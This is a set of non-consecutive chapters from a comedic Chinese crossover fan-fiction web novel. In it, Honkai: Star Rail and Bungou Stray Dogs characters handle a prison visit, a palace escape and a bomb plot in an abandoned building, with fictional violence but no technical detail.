至于空间背包里的那些稀奇玩意儿,她也不会拿出去送人,谁知道蝴蝶的翅膀轻轻扇了一下,会在未来带动怎么样的狂风? 就在江沅清挑了一根粉钻项链准备嘱咐店员包好的时候,她眼角的余光蓦然收入了一个身材高挑的女人。 ……有点眼熟啊。 江沅清又看了一眼。 披着黑色大衣的女人葡萄紫色的头发扎成一个小辫子,被头顶的贝雷帽裹入其中。 ……真的很眼熟啊,好像是个熟人。 江沅清再看一眼。 她神情散漫,戴着不能完全遮住眼睛的墨镜,稍微斜了一眼便会在边角处露出一点犀利的神色。 ……等!一!下! 这不是卡芙卡吗! 星核猎手为什么会来到这里?刃他不是还在那条暗道的前面躺着吗? 来不及多想,江沅清带着歉意对店员微微一点头,抓着礼帽三两步就追上了在外面的卡芙卡。 “卡芙卡女士,请等一下!” ……我在说什么东西啊喂!才来八天怎么就带上了这里的口音?这里又不是东北啊喂! “嗯?是你啊,”止住脚步的卡芙卡偏头笑了一声,双手背在身后有些放松道,“有什么事吗?” 有星的牵线搭桥,江沅清和卡芙卡能算得上是点头之交,但也仅此而已。 “我有一些问题想问你。” “如果你想问我为什么会来到这里,我没有办法回答你,”卡芙卡漫不经心道,“如果你想问怎么样出去,同样,我也不会告诉你。” 话都被你说完了 15. 少织の奇妙冒险 《在崩铁里捡到少年织田作是否搞错了什么》全本免费阅读 他和江沅清走散了。 织田作之助站在街角,静静地看着行色匆匆的人们与他擦肩而过。 这条街道脏得看不清全貌,汗味与腐臭味交织在一起,经过长时间的发酵产生了一种直击灵魂的酸臭味。 来往的行人神色疲惫、衣衫破旧,缩在角落好奇张望着他的几个小孩儿和他的视线一对上就立刻四散逃开,只留下一条瘦骨嶙峋的老狗无精打采地掀了下眼皮。 ……他没有吓人。 贫穷、混乱、劳累,这样的景象对他而言不算陌生,织田作之助的内心毫无波澜,只是略微有些郁闷。 语言不通,环境不对,他应该来到了另一个世界。 很快就做出判断的织田作之助忽然想到了之前某任雇主的话。 她是一位独居的老奶奶,委托的任务是请他在一周后杀死她,没有任何理由。 织田作之助不爱管闲事,也不喜欢被牵扯进麻烦中,但在鬼使神差之下,他还是问了为什么。 老奶奶温和笑了一声,那双饱经风霜的眼睛被她干瘪的眼皮遮住,说出来的话带着点柔软的悲伤:“你知道死亡是什么吗?” 常年和死亡打交道的织田作之助没有立刻点头,也没有摇头。 “传统意义上的死亡是一个人的意识消失、灵魂永眠,但我认为真正的死亡是遗忘,是来到一个谁也不认识、不愿意接纳你的地方。” 因为异能力而反复去世的他早已麻木,所以当时并不理解。 ……但他现在似乎有些明白了。 他需要找到江沅清。 制造一场可以上报纸的事情是他在金盆洗手之前的首选,甚至无需杀人,一场爆炸就足够了。 不过江沅清会生气。 那么,用钱去买消息呢? 没有钱,需要挣钱。 可是他除了杀人,什么也不会。 织田作之助再一次陷入了迷茫之中。 这种迷茫是经年累月攒下来的,平时藏得很深,但在某一个瞬间会突然爆发出来,让他发现自己的无能,看见空洞的过去。 他只会杀人。 如果是江沅清,她会怎么做? 她会来找我。 她会找到我。 我可以做什么? 就在他陷入沉思之际,脑海中突然闪过了预警的片段:一根锈迹斑斑的、直奔着他后脑勺而来的铁棍夺走了他的意识。 织田作之助眼神一凝,他蓦然转身,抬手抓住了铁棍。 偷袭者显然没有预料到他竟然可以及时反应过来,蜡黄的一张脸呆滞了一会儿,这才张大嘴、松开紧握着铁棍的双手向后连退了几步。 他转身就跑。 织田作之助没给他这个机会。 偷袭者的衣领是被他攥在手里了,人也瑟索成小鸡崽子颤抖着不敢吱声,但是沟通却成了很大的问题。 织田作之助无言地和他对视了一会儿,这个比他大了几岁的少年眼睛里立刻蓄满了泪水。 他在哭。 但是他想杀我。 这世上没有宽恕,只有报复。 我可以杀死他。 ……我不能杀人。 或许是他沉默得太久,哽咽的少年都不再发出声音了,拿一双不大的眼睛小心翼翼地瞥他。 织田作之助回敬了他一眼,冷峻的神色立刻逼得少年哆嗦着缩回了头。 僵持的时间太久了,少年张嘴和他说了些什么,没有听懂的织田作之助眨了下眼,决定以不变应万变,依旧没有说话。 好像明白了什么的偷袭者指了指自己的嘴巴和耳朵,做出了疑问的神色。 织田作之助点了点头。 少年的脸上浮现出十足的惊讶,转而又多了许多怜悯,他示意织田作之助跟他走。 很刻意。 直觉十分敏锐的织田作之助意识到了不对,但他没有声张,丢下手中的铁棍便跟了过去。 惯用的双枪还别在腰间,他清楚记得里面剩有八枚子弹,不多,但够用了。 …… “能见到您这样光彩照人的女性真是我的荣幸。” 面前衣冠楚楚的男士对江沅清发出了称赞。 他身材高大,敷了一层白粉的皮囊看着也还算卓越,只是眼皮耷拉着,略微有些臃肿,让他看起来有点肾虚。 她微笑着抬手挽起耳边的碎发,顺手抚过缩成耳钉大小的翻译器,神态自若道:“能见到您这样优秀的先生也是我的荣幸,不知先生在哪高就?” 很难想象这款翻译器的运作原理,明明她的手机没有一点信号,联系不上列车的每一个人,但这翻译器却可以照常使用。 不愧是黑塔女士丢过来的“小玩意儿”,实在是太有意思了。 “高就称不上,”男人举起高脚杯晃了两下,对她自信一笑,眼睛抽筋似的眨了眨,“不过是个小小的监狱长罢了。” 你这是在做什么,眼睛是让你看世界的,不是让你长钩子勾女人的!不需要可以捐给有需要的人! 江沅清真想甩一张地铁老人的表情包过去。 一位举着扇子凑过来的千金小姐翘着手指捂嘴笑了一声,打趣道:“波尔逊伯爵真是谦虚,监狱的油水可不少吧?” “哪有哪有,”习以为常的伯爵阁下放下红酒杯,双臂搭在架子上,又朝着江沅清挑了挑眉,“只是刚好够生活而已。” 江沅清觉得自己再不走,两臂的鸡皮疙瘩就要被她抖掉了,于是端走一杯红酒,告辞道:“我还没来得及向本次宴会的寿星祝贺,冒昧离开实属抱歉。” “江阁下现在走可是太不给我们的伯爵面子了,你说是吧,波尔逊大人,快讲一些有意思的事情留下她呀。” ……大小姐你想干什么啊!你到底在干什么啊! 总不能是好好的千金小姐不想当了转行当红娘给她和这位肾虚的伯爵大人牵红线吧? 那还真是谢谢你啊! 跟狗皮膏药一样黏上来的伯爵啜饮了一口红酒:“江,如果你想,我等会儿可以带你单独去见弗力小姐,现在把寿星的时间留给他人不好么?” 他伸出舌尖舔去嘴角的隐形红酒,眼神迷离地看着她。 是随手一铲子就能挖出石油的水平。 ……啊啊啊啊啊啊啊麦艾斯!眼睛!宝娟儿!我的眼睛!瞎了! 江沅清的内心在土拨鼠尖叫。 “如果您愿意的话,真是再好不过了,”江沅清的脸上焊死了微笑的面具,“能继续和您这样风趣的先生聊天真是太好了。” 真是八辈子的血霉。 “妮娜小姐说得对,让我来为你讲一些近期发生的有趣事情吧。” 只想快点离开这里的江沅清按下焦躁之情,无奈点了点头。 她完全没想到这一听还真听出了问题。 波尔逊自以为风趣地讲起了前几天发生的事情。 一个聋哑少年暗恋某位子爵的情妇,于是杀死了一位高贵的子爵,他将面临的是死亡的审判,但死亡却远远不够审判他这肮脏的灵魂。 听到这里的江沅清恰到好处地发出了一声惊叹:“天呐!” 16. 大公的四女 《在崩铁里捡到少年织田作是否搞错了什么》全本免费阅读 偷看别人被当场抓包的她没有丝毫不自在,反而拖着摇曳的裙摆大方走到了江沅清的面前,笑道:“日安,江小姐。” 啊不是,你认识我,你怎么还要偷看啊!被发现之后还露出一种“你怎么知道我在看你”的惊讶。 故意的味道快溢出屏幕了! 正当江沅清准备回一个礼貌的问候之际,她又慢悠悠开口了:“我在您的身上看见了命运的痕迹,就在刚刚。” 这话的堵嘴效果不是一般的好,江沅清尚未脱口的话直接死在了喉咙里。 呱!有神棍!走开啊走开!神棍离我远点! 但不可否认的是她说得真没错,她的骰子某种意义上来说确实蕴含着命运的力量。 “我是瑞斯顿大公的四女,莉菈.瑞斯顿,”莉菈微微一欠身,“不知可否有这个荣幸与您交谈?” 瑞斯顿大公啊,她记得是爱德联合国的四大公爵之一? 不是,姐们儿,你说你是谁? 她是想拥有一些贵族的人脉,但是人脉到这种程度真没问题吗! 就像她费尽心思只想啃一口鸡翅,眨了眨眼的功夫直接给她摆了个满汉全席。 江沅清一愣,呼吸凝滞了一瞬,但表情管理向来很成功的她下意识扬唇一笑,做了个“这边请”的动作道:“求之不得。” 两人躲开一些自由奔放的男女,转了一会儿才寻到了花园清静的一个角落。 看着江沅清落座后做出了侧耳倾听的姿态,莉菈才跟着坐下。 身为大公的女儿却对一位白身学者这样礼貌,尤其是江沅清这种初来乍到没什么名声的,更是怀疑她对自己有所图谋。 ……真的很难不让人多想啊,谁家满汉全席是自己凑过来对她说快来吃我的? “江小姐,请宽恕我直白的话语,”莉菈开门见山道,“我需要您那拨动命运的力量为我所用。” ……啊啊啊啊啊啊她就知道! 但你这也过于直白了吧!是完全不给她装傻充愣的机会啊! 江沅清侧头,拿出打发人的架势悠然一笑:“莉菈,请允许我这么称呼你,你怎么知道我拥有你口中所说的拨动命运的力量?” “我有一双特殊的眼睛,它是神的恩赐,”莉菈微笑道,“所以我可以看见您身上那些丝丝缕缕的痕迹。” 她笑容诚恳,看着不像演的。 所以说神棍什么的真的是太讨厌了!她并不想掺和到这种事情里面来。 江沅清叹了口气:“很抱歉,莉菈小姐,我不能同意。” 她没说为什么,但莉菈却自信道:“您会答应的,我看见了,您将因为一位身处牢狱的少年而和我产生交集,我现在找到您,也只是将过程提前了一些。” ……啊,糟了,忘记还在牢里面的小织同学了! 听这话,牢里的果然是你啊小织同学。 江沅清心里愁得要死,但表面却稳操胜券道:“那么您也该知道,以那位少年的本事,如果不是他自愿入狱,没有人可以抓住他,不是吗?” 莉菈双手搭在石桌上,看向江沅清的那双灰色的眼睛仿佛隐藏着化不开的浓雾:“为什么不去见一见他呢?我想,您会答应和我合作的。” ……这一定是在钓鱼吧?一定是吧? 而且还是那种直钩式钓鱼,主打一个愿者上钩。 她是姜太公,那你猜她是不是周文王? 江沅清无奈笑了一声:“莉菈小姐,你比我更擅长捕捉人心。” 她还真是。 但是抛开事实不谈,莉菈难道没有一点错吗! “这是成为一个政客最基本的素养,”莉菈起身道,“我们现在就约一个时间吧。” 雷厉风行的莉菈小姐将时间定在了明天下午四点,江沅清将身为随行人员和她一同探视“魔鬼的子嗣”。 时间还没到,江沅清就换下平日里精致的衣装,她挑了身方便行动的男装,拎上必不可少的礼帽便登上了莉菈小姐派人接她的马车。 这个时代的四轮汽车显然还未问世,初具雏形的三轮汽车并没有被贵族们广泛接受,所以马车依旧是时下最代表身份的出行方式。 这也意味着出门一趟需要大把的时间,尤其是关押织田作之助的监狱距离她们还不近。 掀起车帘,容光焕发的莉菈小姐靠在椅背上对着她偏头一笑,声音清亮:“这边请,我想这四个小时的路兴许会让您感到疲惫,所以让管家准备了一些点心。” 你真的不要太会做人! 所以她到底想要她干什么啊?这样对她岂止是礼贤下士,简直是当成师长一般来尊敬了! 她有点慌,脚根本落不到实地的那种慌。 保持着基本礼貌的江沅清微微点头:“多谢。” 当街道两侧的景象从繁荣渐渐变得混乱,再从混乱逐渐走向凄凉,最后变成一片荒芜的时候,江沅清就知道她们抵达了目的地。 这个时代的监狱也分类型,一个是处在城内的小型拘留所,交了保释金便能离开,另一个则是在城外的大型监狱,里面都是些穷凶极恶的囚徒。 穷凶极恶。 江沅清想了想那个长着一双卡兰姿大眼的、因为脸上婴儿肥还未消退所以看起来很软很好捏的、没什么情绪波动但是句句有回应的乖巧少年,沉默住了。 这个时代绝对有问题,有没有审美了啊?小织同学那么可爱,怎么回事?眼瞎吗! 这不是在欺负老实人嘛! 不知是大公的声望还是莉菈自己的手腕,前去深层的一路上畅通无阻,带路的守卫目不斜视甚至有几分殷勤的姿态。 ……顺利得难以置信。 如果不是出于对织田作之助的绝对信任,她都要怀疑他们两个人联手给搞她仙人跳了。 在一处落了锁的小门前站定,守卫点头哈腰地把钥匙双手捧着送到莉菈的前面,得到她一句“不用留了”之后一路小跑着离开了。 江沅清缓缓收回视线。 “这是开门的钥匙,不过把他带出来对我而言也是很麻烦的事情,”莉菈托着江沅清的手把刚到手的钥匙轻轻放了上去,“江,选择自在人心。” ……为什么她这么笃定她看见织田作之助就会改变主意啊?她承认莉菈是一条捷径,但不代表是她的必然。 总不能是他们虐待小织同学了吧!只有这样,她才会看见小织同学就忍不住怒发冲冠,准备找人狠狠报复回去。 但不应该啊,除非脑子没转过来,不然这孩子不会白吃亏的。 “谢谢您,莉菈小姐,”江沅清接过钥匙,讲了下场面话:“合作的事情我会考虑的。” 很会做人的莉菈小姐没有跟着她进来,也没有四处张望,安安静静待在门外目送她进来。 和江沅清想的到处都是阴森的行刑道具不同,关着织田作之助的地方是一个空间狭小的屋子,里面除了一个小凳子和一张地铺便空空如也了。 推门声响起,慢吞吞看过来的红发少年在看见江沅清的一瞬间呆愣住了,他张了张嘴,声音有些干涩地喊了她一句:“江沅清。” 人看上去没事,除了衣衫皱巴巴的看起来好几天没洗,让他看着有些委屈之外,孩子没受什么欺负。 她就说嘛,以织田作之助的身手,连猎犬家系的成员都拿他没什么办法,更何况是这个时代的人。 但怎么回事,他 17. 间章.列车三人 《在崩铁里捡到少年织田作是否搞错了什么》全本免费阅读 “什么人!竟敢擅闯宫闱!来人!拦着她!” 星还没来得及睁眼,一道雄厚的呵斥声就已经钻入了她的耳朵里。 紧接着响起来的是数道利刃破空的声音。 她满头问号地睁眼,看清情况的瞬间立马被喷涌而出的更多问号给淹没了。 身前数把闪着寒光的长/枪直指她的咽喉,大有她活动那么两下就会一拥而上把她捅成筛子的架势。 ? ?? ??? 哎你大爷的小X崽子,给我O哪儿来了,这还是那什么R-28星球吗? 她不就是抱着那么一点探索世界的好奇心推开了树屋的门吗! 至于吗? 算了,她就知道,牢狱之灾是主角的宿命。 就当体验一下隔壁旅行者说的“进了监狱就跟回了家一样自在”好了。 反正有丹恒和三月七跟她一起蹲局子,总归来说不会太无聊。 星眉毛一耷拉,老老实实站在原地等着丹恒发话。 “大人在问你话呢!” 然而等了片刻却只等来一个狗腿的声音,星有些疑惑,偷偷用余光扫了一下身侧。 哎?丹恒呢? 她又将视线挪到了另一边。 哎?三月呢? 人怎么都没了? 总不能像隔壁乐土一样把人拆撒之后搞狼人杀吧!那种事情不要啊! 星心里一紧,悄悄打开伙伴的状态栏,确认丹恒和三月七都是满血之后长舒一口气。 都还活着!那没事了! 江沅清的图标还是被锁着的,不过血量是满的,短时间内也不用担心她。 啊,那这样的话,她所有伙伴都不在身边…… 既然如此…… 星非常尊重一千六百星琼,不是,是江沅清的意见,所以犹豫了整整一秒钟才歪嘴一笑,抽出了自己的棒球棍。 就你小子对高贵的银河棒球侠大呼小叫是吧! 她举起棒球棍将怼着她喉咙的枪尖用蛮力推开,准备给面前这些穿得很像云骑军的人一点来自玩家的关怀:“规则,就是用来打破的!” 然而棍子还未落到人的身上便化为光点消散了,星当场一愣。 不是,她攻击键呢?狗策划什么时候把她攻击键给抠了? 她真的要去刨某些策划的祖坟了! “真是大胆!来人!直接拿下!” 在星愣神的瞬间,被这些人护在身后的络腮胡男人大手一挥,于是呼啦啦又是一圈人围了上来,根本不给她反应的时间便朝着她的死穴戳去。 难道银河棒球侠就要在此陨落了吗? 开什么玩笑!连星神都不能让她屈服好嘛! 好不容易有放飞自我的机会,好不容易能和亲爱的垃圾桶爱得难舍难分,好不容易没人阻拦她做好事,孤高如我怎么会放弃! 莫名其妙燃起来的星一想到自己的翻垃圾桶自由权,当场化身为双臂有力的魁梧女子,一手拽走了其中一个侍卫的长/枪,她无师自通地挥出一记横扫,将这群人绊得人仰马翻之后撒腿就跑。 孩子虽然嚣张,但孩子不傻,待在明显全是红名怪的地方一人一口唾沫都能淹死她。 然而不知策划哪根筋搭错了,这块地图到处都是空气墙,整一个大写的“前面的区域以后再来探索吧”。 星撞空气撞出了满头包,只能循规蹈矩,含恨跟着指引从狗洞钻了出来,顺便从包里掏出汽水炸弹塞在了偏僻的狗洞里。 玩家从来不会吃亏。 真女人也从来不会回头看爆炸。 正值春分,午后的阳光照在人的身上只会给人添加懒懒的暖意,沐浴在这大好光芒的星拍拍屁股就走了。 反正没有江沅清跟在她身后一边拿着笑意吟吟的眼睛看她,一边伸手拽着她的脸指着案发现场,星是一点都不带怂的。 她悠哉悠哉将手插在兜里,顶着路人惊诧不定的眼神将这里打量了一圈。 这里的建筑、这些人的穿着和仙舟的风格有些像,但又缝合了一些奇奇怪怪的元素,除此之外,一路上也见不着几个女孩子。 星知道哪里不对劲,然而打开主线任务栏,上面还是空空荡荡的一片,这种情况从江沅清失踪之后就存在了,一直到换了新图也没有得到解决。 好吧,主线任务这小东西还挺害羞,跟她还玩欲擒故纵那一套,既然如此,那她真没办法。 星宠溺一笑。 只能自己给自己找事做了!来吧!让银河棒球侠……现在是银河铁枪侠的好名声响彻未知的地方吧! …… “你听说了吗,京城里有个奇怪的家伙在游荡。” 顶着斗笠的丹恒慢悠悠举起酒杯,藏在白纱下的眼睛不着痕迹地扫视了一圈四周,听到这声音后忽然有了种不详的预感。 他凝神静气,认真听了起来。 “是那个穿着奇怪衣服的灰色头发吧……” ……他相信……不是星。 丹恒的情感告诉他要相信同生共死的伙伴们,但他的理智却冷酷地告诉他不可能。 但那边不给他的理智和感情进行生死决斗的机会,继续讲了下去。 于是乎丹恒就听到了某位借助天雷炸了小半个皇宫的奇人那一连串的丰功伟绩。 例如说见到一位思念远征丈夫的女子在河边幽幽哭泣,当晚,已经在边塞的丈夫被堵着嘴、捆成一个很漂亮的形状出现在了她的床上。 再比如说一个小孩儿被隔壁小孩儿打了一巴掌蹲在地上哇哇大哭,于是那位奇人先给了那小孩儿一个嘴巴子,又给了讨说法的家长一个嘴巴子,接连打到衙门来人甚至连路过的狗都被她奖励了一耳光。
的“聆听”检定结果为D100=45/80,成功! 小小声的讨论尽数入了她的耳朵里。 “不是吧,那两个家伙是港口的黑/手党?” “你看小芥川的表情,肯定没出错!” “要和港/黑的合作……真的假的……” “社长什么都没说吗?” “听说就是社长答应了合作!” 偷听的众人齐刷刷冒出了一声惊讶的“欸?”。 “哎呀,放宽心,肯定是做梦,梦醒了一定是什么事情都没有发生!” 不是,和港口合作真的这么抽象吗?!你们这什么反应啊?还是 47.探索废楼 《在崩铁里捡到少年织田作是否搞错了什么》全本免费阅读 四人开车驶过繁华的街道,顺着公路行进了约有一个小时,才拐到了偏僻处一栋废弃的独栋矮楼前。 按照国木田独步的说法,寄信人的地址填写的就是这里。 但这里荒芜得很,大片的碎石和丛生的杂草相依作伴了许多年似的纠缠在一起,形成了密不可分的阻碍,怎么看怎么不像是有人居住的样子。 织田作之助凝练的视线在四周逡巡了片刻,沉声道:“我去探查。” 知道小织同学的异能力是什么,江沅清没有阻止这边的大织同学,她不动声色地发动了自己的能力。 “江沅清”的侦查检定结果为D100=25/80,困难成功! 一点被投射到窗户上的闪闪烁烁的红光吸引了江沅清的注意,她皱眉想了一会儿,忽然觉得不对劲,戳戳边上的中岛敦低声道:“你看那是什么?” 怎么看着就那么奇怪呢? 循着她手指的方向,中岛敦凝神盯了片刻。 他思索片刻,不确定道:“好像是定时炸弹?” 哦,定时炸弹啊,她还以为是…… 啊?什么?定时炸弹? 听你的语气跟今天中午吃炸猪排盖饭一样无所谓啊! 不是,这定时炸弹又是怎么一回事?到底是什么样的超人才能在你们横滨毫发无损地生活下去啊?!某个一拳能揍翻全世界的无敌光头都得退避三舍吧? 他们两人的声音不算小,自然吸引了站在边上皱眉打量四周的国木田独步,他瞳孔地震道:“你说什么?定时炸弹?” 江沅清的心里稍微平衡了一点。 这才是正常人该有的反应吧! 有人替她震惊了,江沅清也就端起了无所畏惧的姿态,老神在在道:“嗯,就在四楼,事情不太对劲,要进去看看吗?” 织田作之助已经一马当先地跑到了门口,身为一个侦探社的同伴,国木田独步即使知道他的体术很好,也不敢让他单独冒险,当即快步跟上,点头道:“走。” 还没推开那虚掩着的破败大门,一股浓烈的油漆味便在众人的鼻腔中横冲直撞,让经验丰富的四人都嗅到了风雨欲来的前兆。 织田作之助推开门,还没有完全干涸的血红油漆径直跃入了他们的眼帘,江沅清日语不太好,挂在耳垂上的便携翻译器又没办法给她扫描出来,只好悄悄竖着耳朵听他们怎么说。 好在没有辜负她的期待,国木田独步率先喃喃出声道:“……愚蠢要付出代价。” 织田作之助近距离观察一会儿,沉声道:“油漆很新鲜,应该不超过两天。” 跟在她后边的中岛敦皱眉道:“是给我们的警告么……” 是哪个胆大包天的家伙,竟然敢这样对港口的人说话? 话都被你们说完了,那我说什么啊喂! 在这种团结一致的时刻能不能不要把她排挤在外啊! 江沅清因为没有台词而沉默了一会儿,她默默指着向上的楼梯道:“继续向上看看吧。” “不,这件事情很明显不对劲,”国木田独步打量的视线在江沅清的细胳膊细腿上扫来扫去,他凝重道,“江小姐还请回避,在楼下等我们一会儿。” 不是你把我当成港口的干部嘛!现在又觉得我不行了是吗? 国木田独步的出发点是好的,但请他不要出发了! 江沅清看了一下其他三人并不突出但明显很有力量的腿臂,又低头看了眼自己没什么力气的小胳膊小腿,哽了片刻。 “其实我觉得我没有问题。” 就在江沅清以为自己要听到国木田独步的“我不要你觉得我只要我觉得”之际,织田作之助发声了:“没问题吗?” 他这话没头没尾的,江沅清反应了一会儿才明白是对着自己说的,于是点了点头道:“放心,不会拖后腿的,我有自保的能力,不然不会跟着你们。” 笑死,她超级怕死的,要是梅子煲还凑过来跟他们玩什么啊! 又不是嫌命长,没事我就鲨一鲨自己来玩一玩。 织田作之助在前面爬楼,中岛敦慢了他一步,江沅清也哼哧哼哧跟在后边,并且在内心暗暗发誓回去之后一定要加强锻炼,再也不当个宅在屋子里的坐班医生了。 担心会有意外发生的国木田独步则是选择了垫后。 众人屏息静气,小心翼翼爬着楼,在织田作之助抬脚准备踏上二楼地面的一瞬听见了他的命令式的声音:“停!” 他一边缩回脚,一边拉着中岛敦不让他更进一步,还能抽空拦着江沅清。 “怎么了?” 她的疑惑没有得到解答,只好抬头顺着众人震惊的视线向二楼看去,发现了堆积在楼梯口的大量破碎陶瓷玩偶。 那些隐约可以推测出是人形的陶瓷玩偶七零八落地躺在冰凉的地面上,碎成看不清全貌的一片一片。 织田作之助神色凝重道:“走上去之后,人会陶瓷化。” 手里已经抄出笔记本的国木田独步把上下左右都看了一遍,警惕道:“难道有异能者潜伏在楼内?” 笔记本难道能当武器吗!你清醒一点啊,这又不是比砖头还厚的种花家刑法! 还有你们横滨的异能这么稀奇古怪的吗?竟然能把人陶瓷化?碎了之后就变成他们眼前这个样子了? 这里到底是什么魔窟啊! 可是按照织田作之助的说法,脚一踩上去就会被陶瓷化,但是她见到的定时炸弹在四楼——换而言之,如果想要去四楼查看清楚情况,必须通过二楼。 她又不是蜘蛛侠,完全没有徒手攀登四楼的能力,旁边的织田作之助嘛……江沅清自然知晓他有这个能力,但是碍于一些私心,她不想他遇到危险。 谁知道四楼藏着什么东西?他一个人上去,孤苦伶仃的,要是死了可怎么办啊! 只能想办法解决楼内藏着的异能者了吧? “这么强大的能力,怎么没人招揽这个人?” 不知道她这时候问这个做什么,国木田独步沉声道:“我没有见过这样的异能力。” “是么,”江沅清思考了片刻,看向织田作之助,“你呢?” 小织同学有说过,他之前是干鲨手的,即使大织同学的命运轨迹和他不再相同,那消息的灵活性应该也是没问题的。 织田作之助如实道:“没有。” 江沅清的视线在密密麻麻的陶瓷碎 48.落幕 《在崩铁里捡到少年织田作是否搞错了什么》全本免费阅读 织田作之助是个玩木仓的行家,子弹堪堪贯穿男人的小腿却不足以让他陷入残疾,只能让他在这段时间内无法行动。 江沅清扫了地上蜷曲着发出惨叫的男人的一眼,莫名想到了小织同学所说的“以后再也不会杀人了”。 她也深深回望了织田作之助一眼。 这种加之在自己身上的束缚可不是什么好东西,甚至可以说是缠在人身上的水鬼,会一刻不停地缩在地底,等着将人拉下深渊的时机。 当时她以为那只是少年金盆洗手前的觉悟,然而现在看他的样子,他有在背负着这句誓言而活。 没别的意思,就想问这心理还能健康吗? 你们横滨的心理医生是不是都被拉去陪葬了啊?难道没人关注心理健康吗? 不行,她在走之前一定要督促太宰治普及这一块的教育! ……等下,这么想来,那小兔崽治本人也不对劲吧?! 扯远了,这一块完全可以等回去了再说,当务之急是搞清楚这个男人的用意。 江沅清把飘远的思绪拉了回来,她蹲下身,用一种十分温和的声音轻轻道:“我很好奇你这样做的目的,可以告诉我吗?” 那个男人依旧在抱着腿哀哀叫着,对她的话视若无睹。 “不告诉我也行,指使你这么做的人大概是想让你拖住我们,”她起身捡起地上的陶瓷碎片掂量片刻,忽然神色一怔,“不对,不能在这里耽误下去了,带着他,我们走!” 卧槽,等下,不对劲! 为什么要派这样一个异能力跟开玩笑似的家伙来恐吓他们,阻止他们上楼的脚步? 为此还不惜血本在这里摆了这么多让人陷入思维误区的陶瓷碎片! 要死了要死了,太奶在朝着她招手了!我亲爱的太奶虽然我很想念您但我觉得现在不是跟你走的时候啊! 来不及多解释,江沅清随意把碎片一丢,震声道:“四楼的定时炸弹可能要炸了,不能在这里拖延下去了!” 原本想着问出点什么东西好去应对来自三楼或者四楼的未知领域,但现在,审问什么的先放一边,他们必须和殷勤招着小手欢迎他们过去的太奶们拼速度了。 她敢打赌,设计这场事件的人一定对织田作之助了如指掌! 他利用了织田作之助的异能! 假设小织同学的异能只能透视不到十秒的未来,那么他无法通过异能得知打碎陶瓷化的自己是否还能活着。 但是异能告诉他“无论怎么样,只要踏入二楼都会陶瓷化”,看见地上那一堆陶瓷碎片的织田作之助很难选择去冒险。 他会用更谨慎的办法去试探。 而这恰好是幕后主谋所需要的“拖延时间”! 因为定时炸弹还在四楼啊! 如果只有织田作之助一个人在这里,通过那几乎作弊的异能和体术,他肯定会在爆炸发生之前逃离这里,所以有大把试错的时间。 可这里现在有五个人。 他们需要去争夺时间! 这目的其实并不难想,把现状串一串就有了,国木田独步显然也想到了这一层,连忙大步跟着爬起了楼。 收起枪,织田作之助淡淡看了一眼中岛敦,礼貌道:“这个男人你要吗?” 要什么男人啊喂!你不要顶着这张平静的脸说出这么奇怪的话啊! 听到这话差点崴了脚的江沅清眼疾手快地一抓扶手,成功阻止了自己健健康康的来却横七竖八的走,她偏着身子探头看了中岛敦一眼,却并未出声提醒。 毕竟是太宰治交给中岛敦的任务,她抢过太多次主导权本就有些不对,现在再插手那更是耽误人。 中岛敦左右看看,也是明白了现在的情况,他将男人的衣领一提溜,半拖半拽地跟上了大家。 还好,孩子沉默但不傻,还知道先把人抓着。 转眼之间,众人就爬上了三楼。 国木田独步的脸色在见到那一桶桶的汽油之际瞬间转阴,他一言不发地冲上了四楼。 织田作之助紧随其后。 这一桶桶林立于此的汽油比刚进来就见到的大写的愚蠢警告更令人心惊肉跳——假如定时炸弹真的如期启动,那么这一层楼的汽油完全可以让这次的爆炸威力大到没边! ……喂喂喂!你们这样卖力会显得港口的人就是过来摸个鱼的啊!到时候可不许回去说你们黑/手党的人心不诚,不好,不跟你们玩啊! 明明是你们先卷的! 不过小墩同学怎么还不跟上? 江沅清回头看了眼中岛敦,发现被他拎着走的男人在给他拖后腿。 他满眼惊恐,不停扒拉着中岛敦揪着他衣领的手,似乎想要连滚带爬地逃出这里。 欸?这就有意思了,给人办事竟然不知道那个人的打算? 她忽然起了兴趣,用一种很欠扁的语气悠悠道:“幕后主谋没告诉你四楼有定时炸弹么?” 男人挣扎的手一松,瞳孔骤然紧缩,内心深处的恐惧透过不断颤抖的眼球反射了出来。 不用他说,江沅清就看出来,他确实不知道这些。 底下新刷的油漆味道太过刺鼻,完全盖过了汽油的味道,想必他一直藏在二楼,从来没有去楼上看看情况。 “看起来你在计划当中是一个完全被抛弃的棋子啊,”江沅清一边招呼着中岛敦和她一起爬去四层,一边看热闹不嫌事大,用那种“你妈不要你咯”的语气笑眯眯道,“真可惜,你这么忠诚,但人家完全不管你的死活呢。” 惨白着一张脸的男人不知是为了赎罪还是为了拉人下水,大声说道:“川岛嘉,是川岛嘉让我这么做的!他说只要我把你们吓退了就好!我不想死,我还不想死!” 川岛嘉?不就是荆棘会那个鹌鹑首领吗? 难道他表面上看着唯唯诺诺,实际上却在阴暗爬行立志创飞所有人? 江沅清试图榨点情报出来:“现在说这个恐怕没用啊,你还知道什么?” 令她失望的是男人纯粹是个拿钱办事的倒霉蛋,除了这两个已经吐露出来的事实,别的一无所知。 江沅清只好以这两条线索为基础往下深挖:“你是亲眼见到的川岛嘉?能描述一下……” 她的话没能说完,因为刚好爬上了四楼,眼角的余光所见到的满地定时炸弹在她的脑子里盘旋了片刻,堵住了她的嘴。 一个坐在房间正中心的长发男人正无所事事地摆弄着手中的炸弹。 好像不需要听到回答了。 ……这炸弹多得离谱吧!到时候真能把他们几个炸得连太奶都不认识了吧! 太奶,太奶是我啊!这照片真是我!那时候我还不是焦炭也不是这坨灰!你信我啊! 话说你们横滨完全没有法律这个概念吗! 明显是罪魁祸首的人正拿一双提不起兴趣的眼睛冷冷扫视着他们。 “你们来了,比我预想得要早了不少,”他将手中的定时炸弹随手抛到一边,唇角高高上扬,扭曲成一个堪称惊悚的笑容,“毕竟还有一分钟,炸弹才会开始爆炸,哎呀,真是可惜,要看见你们濒死……” 他的话音未落,中岛敦就丢下手中的男人跃上半空,当场变身成一只条纹分明的漂亮大白老虎扑向了那个人。 啊啊啊啊啊啊你小子倒是听完他放狠话啊!你们横滨怎么回事?怎么动手之前都不陈情的?要是放在隔壁崩铁的片场,得滴滴叭叭说多少句话才展开boss战啊! “哦?该说不愧是港口的白色死神吗?” 男人毫无畏惧地脱下外面的大衣,露出身体上绑着的一串炸弹,他高高举起手中的遥控器,微笑道:“那就和我一起下地狱吧。” 虎爪停在他的身前一寸再也不敢前进分毫,意识到自己落地就会加速大家死亡进程的中岛敦下意识变回人形,被那个男人一脚踹进了房间里边,和数字欢快跳动着的定时炸弹窝在了一起。 